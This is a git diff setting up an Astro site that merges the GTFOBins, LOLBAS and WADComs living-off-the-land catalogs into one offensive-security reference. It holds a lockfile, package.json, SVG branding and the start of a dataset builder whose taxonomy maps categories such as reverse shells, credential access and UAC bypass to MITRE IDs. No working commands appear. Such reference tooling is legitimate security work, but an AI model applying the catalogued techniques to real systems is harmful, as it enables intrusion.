+ "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.6.4.tgz",
+ "integrity": "sha512-JFNbkD1Svwe0KvGi8GOeLcP4kAWQ609twvCdcHxq1oSL8svv39ZuSvajcD8B+5D0eL4+s1Is2D/O6KN3qcTeRA==",
+ "license": "MIT"
+ },
+ "node_modules/ultrahtml": {
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/ultrahtml/-/ultrahtml-1.7.0.tgz",
+ "integrity": "sha512-2xRd0VHoAQE4M+vF/DvFFB7pUV0ZxTW1TLi7lHQWnF/Sb5TPeEUV/l+hxcNnGO00ZXGnR0voCMmYRKQf+rvJ2g==",
+ "license": "MIT"
+ },
+ "node_modules/uncrypto": {
+ "version": "0.1.3",
+ "resolved": "https://registry.npmjs.org/uncrypto/-/uncrypto-0.1.3.tgz",
+ "integrity": "sha512-Ql87qFHB3s/De2ClA9e0gsnS6zXG27SkTiSJwjCc9MebbfapQfuPzumMIUMi38ezPZVNFcHI9sUIepeQfw8J8Q==",
+ "license": "MIT"
+ },
+ "node_modules/undici": {
+ "version": "8.10.1",
+ "resolved": "https://registry.npmjs.org/undici/-/undici-8.10.1.tgz",
+ "integrity": "sha512-YQ3WlbqjYMmNpdvDH64jAgLjxuAR9+649calDWhbshYaeQGO2bR4nI94ORJmwI3J9YhoKQnpyGOK+0zlWS5N5Q==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=22.19.0"
+ }
+ },
+ "node_modules/undici-types": {
+ "version": "7.18.2",
+ "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz",
+ "integrity": "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==",
+ "license": "MIT"
+ },
+ "node_modules/unified": {
+ "version": "11.0.5",
+ "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz",
+ "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "bail": "^2.0.0",
+ "devlop": "^1.0.0",
+ "extend": "^3.0.0",
+ "is-plain-obj": "^4.0.0",
+ "trough": "^2.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unifont": {
+ "version": "0.7.5",
+ "resolved": "https://registry.npmjs.org/unifont/-/unifont-0.7.5.tgz",
+ "integrity": "sha512-ULe/Cs+ZIsq+dcFofNkhqielCrUJnb5mr+Yc4EBM2VlL+6OZR6+cjtI2mT1bJvRBrVncqHAbLURxmPLcCXzWMg==",
+ "license": "MIT",
+ "dependencies": {
+ "css-tree": "^3.1.0",
+ "ohash": "^2.0.11",
+ "undici": "^8.0.0"
+ }
+ },
+ "node_modules/unist-util-find-after": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-find-after/-/unist-util-find-after-5.0.0.tgz",
+ "integrity": "sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "unist-util-is": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-is": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz",
+ "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-modify-children": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-modify-children/-/unist-util-modify-children-4.0.0.tgz",
+ "integrity": "sha512-+tdN5fGNddvsQdIzUF3Xx82CU9sMM+fA0dLgR9vOmT0oPT2jH+P1nd5lSqfCfXAw+93NhcXNY2qqvTUtE4cQkw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "array-iterate": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-position": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz",
+ "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-position-from-estree": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-position-from-estree/-/unist-util-position-from-estree-2.0.0.tgz",
+ "integrity": "sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-remove-position": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-5.0.0.tgz",
+ "integrity": "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "unist-util-visit": "^5.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-stringify-position": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz",
+ "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-visit": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.1.0.tgz",
+ "integrity": "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "unist-util-is": "^6.0.0",
+ "unist-util-visit-parents": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-visit-children": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-visit-children/-/unist-util-visit-children-3.0.0.tgz",
+ "integrity": "sha512-RgmdTfSBOg04sdPcpTSD1jzoNBjt9a80/ZCzp5cI9n1qPzLZWF9YdvWGN2zmTumP1HWhXKdUWexjy/Wy/lJ7tA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-visit-parents": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz",
+ "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "unist-util-is": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unstorage": {
+ "version": "1.17.5",
+ "resolved": "https://registry.npmjs.org/unstorage/-/unstorage-1.17.5.tgz",
+ "integrity": "sha512-0i3iqvRfx29hkNntHyQvJTpf5W9dQ9ZadSoRU8+xVlhVtT7jAX57fazYO9EHvcRCfBCyi5YRya7XCDOsbTgkPg==",
+ "license": "MIT",
+ "dependencies": {
+ "anymatch": "^3.1.3",
+ "chokidar": "^5.0.0",
+ "destr": "^2.0.5",
+ "h3": "^1.15.10",
+ "lru-cache": "^11.2.7",
+ "node-fetch-native": "^1.6.7",
+ "ofetch": "^1.5.1",
+ "ufo": "^1.6.3"
+ },
+ "peerDependencies": {
+ "@azure/app-configuration": "^1.8.0",
+ "@azure/cosmos": "^4.2.0",
+ "@azure/data-tables": "^13.3.0",
+ "@azure/identity": "^4.6.0",
+ "@azure/keyvault-secrets": "^4.9.0",
+ "@azure/storage-blob": "^12.26.0",
+ "@capacitor/preferences": "^6 || ^7 || ^8",
+ "@deno/kv": ">=0.9.0",
+ "@netlify/blobs": "^6.5.0 || ^7.0.0 || ^8.1.0 || ^9.0.0 || ^10.0.0",
+ "@planetscale/database": "^1.19.0",
+ "@upstash/redis": "^1.34.3",
+ "@vercel/blob": ">=0.27.1",
+ "@vercel/functions": "^2.2.12 || ^3.0.0",
+ "@vercel/kv": "^1 || ^2 || ^3",
+ "aws4fetch": "^1.0.20",
+ "db0": ">=0.2.1",
+ "idb-keyval": "^6.2.1",
+ "ioredis": "^5.4.2",
+ "uploadthing": "^7.4.4"
+ },
+ "peerDependenciesMeta": {
+ "@azure/app-configuration": {
+ "optional": true
+ },
+ "@azure/cosmos": {
+ "optional": true
+ },
+ "@azure/data-tables": {
+ "optional": true
+ },
+ "@azure/identity": {
+ "optional": true
+ },
+ "@azure/keyvault-secrets": {
+ "optional": true
+ },
+ "@azure/storage-blob": {
+ "optional": true
+ },
+ "@capacitor/preferences": {
+ "optional": true
+ },
+ "@deno/kv": {
+ "optional": true
+ },
+ "@netlify/blobs": {
+ "optional": true
+ },
+ "@planetscale/database": {
+ "optional": true
+ },
+ "@upstash/redis": {
+ "optional": true
+ },
+ "@vercel/blob": {
+ "optional": true
+ },
+ "@vercel/functions": {
+ "optional": true
+ },
+ "@vercel/kv": {
+ "optional": true
+ },
+ "aws4fetch": {
+ "optional": true
+ },
+ "db0": {
+ "optional": true
+ },
+ "idb-keyval": {
+ "optional": true
+ },
+ "ioredis": {
+ "optional": true
+ },
+ "uploadthing": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/vfile": {
+ "version": "6.0.3",
+ "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz",
+ "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/vfile-location": {
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-5.0.3.tgz",
+ "integrity": "sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/vfile-message": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz",
+ "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "unist-util-stringify-position": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/vite": {
+ "version": "6.4.3",
+ "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz",
+ "integrity": "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A==",
+ "license": "MIT",
+ "dependencies": {
+ "esbuild": "^0.25.0",
+ "fdir": "^6.4.4",
+ "picomatch": "^4.0.2",
+ "postcss": "^8.5.3",
+ "rollup": "^4.34.9",
+ "tinyglobby": "^0.2.13"
+ },
+ "bin": {
+ "vite": "bin/vite.js"
+ },
+ "engines": {
+ "node": "^18.0.0 || ^20.0.0 || >=22.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/vitejs/vite?sponsor=1"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.3"
+ },
+ "peerDependencies": {
+ "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0",
+ "jiti": ">=1.21.0",
+ "less": "*",
+ "lightningcss": "^1.21.0",
+ "sass": "*",
+ "sass-embedded": "*",
+ "stylus": "*",
+ "sugarss": "*",
+ "terser": "^5.16.0",
+ "tsx": "^4.8.1",
+ "yaml": "^2.4.2"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ },
+ "jiti": {
+ "optional": true
+ },
+ "less": {
+ "optional": true
+ },
+ "lightningcss": {
+ "optional": true
+ },
+ "sass": {
+ "optional": true
+ },
+ "sass-embedded": {
+ "optional": true
+ },
+ "stylus": {
+ "optional": true
+ },
+ "sugarss": {
+ "optional": true
+ },
+ "terser": {
+ "optional": true
+ },
+ "tsx": {
+ "optional": true
+ },
+ "yaml": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/vitefu": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/vitefu/-/vitefu-1.1.3.tgz",
+ "integrity": "sha512-ub4okH7Z5KLjb6hDyjqrGXqWtWvoYdU3IGm/NorpgHncKoLTCfRIbvlhBm7r0YstIaQRYlp4yEbFqDcKSzXSSg==",
+ "license": "MIT",
+ "workspaces": [
+ "tests/deps/*",
+ "tests/projects/*",
+ "tests/projects/workspace/packages/*"
+ ],
+ "peerDependencies": {
+ "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0"
+ },
+ "peerDependenciesMeta": {
+ "vite": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/web-namespaces": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz",
+ "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/which-pm-runs": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/which-pm-runs/-/which-pm-runs-1.1.0.tgz",
+ "integrity": "sha512-n1brCuqClxfFfq/Rb0ICg9giSZqCS+pLtccdag6C2HyufBrh3fBOiy9nb6ggRMvWOVH5GrdJskj5iGTZNxd7SA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/widest-line": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-5.0.0.tgz",
+ "integrity": "sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA==",
+ "license": "MIT",
+ "dependencies": {
+ "string-width": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/wrap-ansi": {
+ "version": "9.0.2",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz",
+ "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==",
+ "license": "MIT",
+ "dependencies": {
+ "ansi-styles": "^6.2.1",
+ "string-width": "^7.0.0",
+ "strip-ansi": "^7.1.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+ }
+ },
+ "node_modules/xxhash-wasm": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/xxhash-wasm/-/xxhash-wasm-1.1.0.tgz",
+ "integrity": "sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA==",
+ "license": "MIT"
+ },
+ "node_modules/yargs-parser": {
+ "version": "21.1.1",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
+ "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
+ "license": "ISC",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/yocto-queue": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-1.2.2.tgz",
+ "integrity": "sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=12.20"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/yocto-spinner": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/yocto-spinner/-/yocto-spinner-0.2.3.tgz",
+ "integrity": "sha512-sqBChb33loEnkoXte1bLg45bEBsOP9N1kzQh5JZNKj/0rik4zAPTNSAVPj3uQAdc6slYJ0Ksc403G2XgxsJQFQ==",
+ "license": "MIT",
+ "dependencies": {
+ "yoctocolors": "^2.1.1"
+ },
+ "engines": {
+ "node": ">=18.19"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/yoctocolors": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/yoctocolors/-/yoctocolors-2.2.0.tgz",
+ "integrity": "sha512-xYqdZFUK/VYazNl/oCDYN+3WloWQwMfZxBoiNt6qNyk+xfOdi598muWE42rNZFp1kNOiqW936q5RhUdnpqElSg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/zod": {
+ "version": "3.25.76",
+ "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",
+ "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/colinhacks"
+ }
+ },
+ "node_modules/zod-to-json-schema": {
+ "version": "3.25.2",
+ "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",
+ "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==",
+ "license": "ISC",
+ "peerDependencies": {
+ "zod": "^3.25.28 || ^4"
+ }
+ },
+ "node_modules/zod-to-ts": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/zod-to-ts/-/zod-to-ts-1.2.0.tgz",
+ "integrity": "sha512-x30XE43V+InwGpvTySRNz9kB7qFU8DlyEy7BsSTCHPH1R0QasMmHWZDCzYm6bVXtj/9NNJAZF3jW8rzFvH5OFA==",
+ "peerDependencies": {
+ "typescript": "^4.9.4 || ^5.0.2",
+ "zod": "^3"
+ }
+ },
+ "node_modules/zwitch": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz",
+ "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ }
+ }
+}
diff --git a/package.json b/package.json
@@ -0,0 +1,30 @@
+{
+ "name": "daemon-sec-lotl",
+ "type": "module",
+ "version": "1.0.0",
+ "private": true,
+ "description": "DÆMONBins — the Off-the-Land Almanac: a merged, filterable GTFOBins × LOLBAS × WADComs catalog.",
+ "license": "GPL-3.0-or-later",
+ "scripts": {
+ "dev": "astro dev",
+ "data": "node scripts/build-dataset.mjs",
+ "build": "astro build && pagefind --site dist && npm run pagefind:public",
+ "test": "node --test",
+ "preview": "astro preview",
+ "pagefind:public": "rm -rf public/pagefind && cp -R dist/pagefind public/pagefind",
+ "astro": "astro"
+ },
+ "dependencies": {
+ "@astrojs/mdx": "^4.2.0",
+ "@astrojs/sitemap": "^3.3.0",
+ "astro": "^5.6.0",
+ "sharp": "^0.35.4"
+ },
+ "devDependencies": {
+ "esbuild": "^0.25.0",
+ "github-slugger": "^2.0.0",
+ "js-yaml": "^4.1.0",
+ "pagefind": "^1.3.0",
+ "zod": "^3.24.0"
+ }
+}
diff --git a/public/.nojekyll b/public/.nojekyll
diff --git a/public/favicon.svg b/public/favicon.svg
@@ -0,0 +1,11 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" width="64" height="64">
+ <defs>
+ <linearGradient id="g" x1="0" y1="0" x2="1" y2="1">
+ <stop offset="0" stop-color="#9ccfd8"/>
+ <stop offset="1" stop-color="#c4a7e7"/>
+ </linearGradient>
+ </defs>
+ <rect x="3" y="3" width="58" height="58" rx="15" fill="#191724" stroke="url(#g)" stroke-width="2"/>
+ <path d="M18 22l9 10-9 10" fill="none" stroke="url(#g)" stroke-width="5" stroke-linecap="round" stroke-linejoin="round"/>
+ <rect x="33" y="40" width="15" height="5" rx="2.5" fill="#c4a7e7"/>
+</svg>
diff --git a/public/og.svg b/public/og.svg
@@ -0,0 +1,30 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1200 630" width="1200" height="630">
+ <defs>
+ <linearGradient id="bg" x1="0" y1="0" x2="1" y2="1">
+ <stop offset="0" stop-color="#191724"/>
+ <stop offset="1" stop-color="#1f1d2e"/>
+ </linearGradient>
+ <linearGradient id="ac" x1="0" y1="0" x2="1" y2="0">
+ <stop offset="0" stop-color="#9ccfd8"/>
+ <stop offset="1" stop-color="#c4a7e7"/>
+ </linearGradient>
+ <pattern id="grid" width="40" height="40" patternUnits="userSpaceOnUse">
+ <path d="M40 0H0V40" fill="none" stroke="#e0def4" stroke-opacity="0.05" stroke-width="1"/>
+ </pattern>
+ </defs>
+ <rect width="1200" height="630" fill="url(#bg)"/>
+ <rect width="1200" height="630" fill="url(#grid)"/>
+ <circle cx="120" cy="90" r="260" fill="#c4a7e7" fill-opacity="0.12"/>
+ <circle cx="1080" cy="70" r="240" fill="#9ccfd8" fill-opacity="0.10"/>
+ <g font-family="'JetBrains Mono', monospace">
+ <text x="90" y="150" fill="#6e6a86" font-size="26" letter-spacing="6">// CURATED OFFENSIVE-SECURITY REFERENCE</text>
+ </g>
+ <g font-family="'Chakra Petch','Segoe UI',sans-serif" font-weight="700">
+ <text x="86" y="330" fill="#e0def4" font-size="128" letter-spacing="-2">DÆMON<tspan fill="#c4a7e7">//</tspan>SEC</text>
+ </g>
+ <text x="90" y="420" fill="#908caa" font-family="'Inter',sans-serif" font-size="40">The cheatsheet vault for operators.</text>
+ <rect x="90" y="470" width="1020" height="4" rx="2" fill="url(#ac)"/>
+ <g font-family="'JetBrains Mono', monospace" font-size="30" fill="#9ccfd8">
+ <text x="90" y="545">AD · Enumeration · Exploitation · Priv-Esc · Web · DFIR · Tools</text>
+ </g>
+</svg>
diff --git a/scripts/build-dataset.mjs b/scripts/build-dataset.mjs
@@ -0,0 +1,590 @@
+/**
+ * DÆMONBins dataset builder.
+ *
+ * Reads the three vendored upstreams under vendor/ plus the daemon-sec WADComs
+ * additions (and, if present, the DÆMON modernization backlog), normalizes
+ * every source to one filterable atom — a Technique — and emits:
+ *
+ * src/data/techniques.json full canonical array (committed; Astro imports it)
+ * src/data/tools.json per-tool metadata (aliases, Full_Path, contributors)
+ * src/data/facets.json derived facet indexes + counts
+ * public/data/techniques.json copy served statically for the catalog island fetch
+ *
+ * Run locally with `npm run data`. CI never runs this — it builds Astro +
+ * Pagefind over the committed JSON. Deterministic: IDs derive from
+ * source + tool + index, no wall-clock.
+ *
+ * All three upstreams are GPL-3.0, so the merged dataset is GPL-3.0.
+ */
+import { readFileSync, writeFileSync, readdirSync, existsSync, mkdirSync, statSync } from 'node:fs';
+import { fileURLToPath } from 'node:url';
+import { dirname, join, resolve } from 'node:path';
+import yaml from 'js-yaml';
+import esbuild from 'esbuild';
+import { z } from 'zod';
+
+const __dirname = dirname(fileURLToPath(import.meta.url));
+const ROOT = resolve(__dirname, '..');
+const VENDOR = join(ROOT, 'vendor');
+const OUT_SRC = join(ROOT, 'src', 'data');
+const OUT_PUB = join(ROOT, 'public', 'data');
+// Source of truth for the 134 daemon-authored WADComs additions.
+const WADCOMS_TS = resolve(ROOT, '..', 'daemon-sec', 'client', 'src', 'data', 'tools', 'wadcoms.ts');
+// Optional: the §7 modernization backlog, emitted by the daemonbins-backlog workflow.
+const BACKLOG_JSON = join(OUT_SRC, 'daemon-backlog.json');
+
+// ---------------------------------------------------------------------------
+// Unified vocabulary
+// ---------------------------------------------------------------------------
+const PLATFORMS = ['Linux', 'Windows', 'macOS', 'ActiveDirectory'];
+const SOURCES = ['GTFOBins', 'LOLBAS', 'WADComs', 'DAEMON'];
+const CAPABILITIES = [
+ 'Execution', 'Reverse/Bind Shell',
+ 'File Download', 'File Upload', 'File Read', 'File Write', 'File Copy',
+ 'Library Load', 'Compile',
+ 'Privilege Escalation', 'UAC Bypass', 'AWL / Policy Bypass',
+ 'Defense Evasion', 'Credential Access',
+ 'Discovery', 'Persistence', 'Lateral Movement', 'Collection',
+];
+
+// GTFOBins function → capability (BUILD-PROMPT §5)
+const GTFO_FN_CAP = {
+ shell: ['Execution'],
+ command: ['Execution'],
+ 'reverse-shell': ['Reverse/Bind Shell'],
+ 'bind-shell': ['Reverse/Bind Shell'],
+ 'file-write': ['File Write'],
+ 'file-read': ['File Read'],
+ upload: ['File Upload'],
+ download: ['File Download'],
+ 'library-load': ['Library Load'],
+ 'privilege-escalation': ['Privilege Escalation'],
+};
+// GTFOBins function → MITRE fallback (from _data/functions.yml)
+const GTFO_FN_MITRE = {
+ shell: ['T1059'], command: ['T1059'],
+ 'reverse-shell': ['T1059', 'T1071'], 'bind-shell': ['T1059', 'T1071'],
+ 'file-write': ['T1565'], 'file-read': ['T1005'],
+ upload: ['T1041'], download: ['T1105'],
+ 'library-load': ['T1574'], 'privilege-escalation': ['T1548'],
+};
+
+// LOLBAS Category → capability (BUILD-PROMPT §5)
+const LOLBAS_CAT_CAP = {
+ Execute: ['Execution'],
+ 'AWL Bypass': ['AWL / Policy Bypass'],
+ Download: ['File Download'],
+ Upload: ['File Upload'],
+ Copy: ['File Copy'],
+ Encode: ['Defense Evasion'],
+ Decode: ['Defense Evasion'],
+ ADS: ['Defense Evasion', 'File Write'],
+ Conceal: ['Defense Evasion'],
+ Tamper: ['Defense Evasion'],
+ Compile: ['Compile'],
+ Credentials: ['Credential Access'],
+ Dump: ['Credential Access'],
+ Reconnaissance: ['Discovery'],
+ 'UAC Bypass': ['UAC Bypass', 'Privilege Escalation'],
+};
+
+// WADComs attack_type → capability (BUILD-PROMPT §5). Kept forgiving: unknown
+// values simply don't add a capability, but are always kept in nativeCategory.
+const WAD_ATTACK_CAP = {
+ Enumeration: ['Discovery'],
+ Discovery: ['Discovery'],
+ Exploitation: ['Execution'],
+ PrivEsc: ['Privilege Escalation'],
+ 'Privilege Escalation': ['Privilege Escalation'],
+ Persistence: ['Persistence'],
+ 'Credential Access': ['Credential Access'],
+ 'Lateral Movement': ['Lateral Movement'],
+ 'Defense Evasion': ['Defense Evasion'],
+ Collection: ['Collection'],
+};
+
+// Services / items that flag Active Directory scope (BUILD-PROMPT §5).
+const AD_SERVICES = new Set(['SMB', 'LDAP', 'Kerberos', 'RPC', 'WMI', 'DCOM', 'NTLM', 'DNS', 'WinRM', 'MSSQL', 'ADCS']);
